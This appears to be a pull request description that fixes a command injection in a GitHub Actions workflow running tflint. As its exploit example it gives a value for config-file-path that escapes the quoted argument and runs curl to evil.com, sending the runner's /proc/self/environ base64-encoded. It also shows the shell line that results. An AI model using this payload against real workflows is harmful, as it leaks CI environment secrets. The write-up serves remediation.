Defang user controlled fields with safe handling to remediate command injection

[AXDOOMER]

The config-file field is user-controlled and can be used for command injection, executing arbitrary code that's not in this workflow.

Exploit Example

An attacker calling this workflow could provide the following value for config-file-path:

.tflint.hcl"; curl https://evil.com/exfiltrate?data=$(cat /proc/self/environ | base64) && echo "

This would result in the shell executing this inside of the if condition:

tflint --recursive --config \
"$GITHUB_WORKSPACE/
.tflint.hcl"; curl https://evil.com/exfiltrate?data=$(cat /proc/self/environ | base64) && echo ""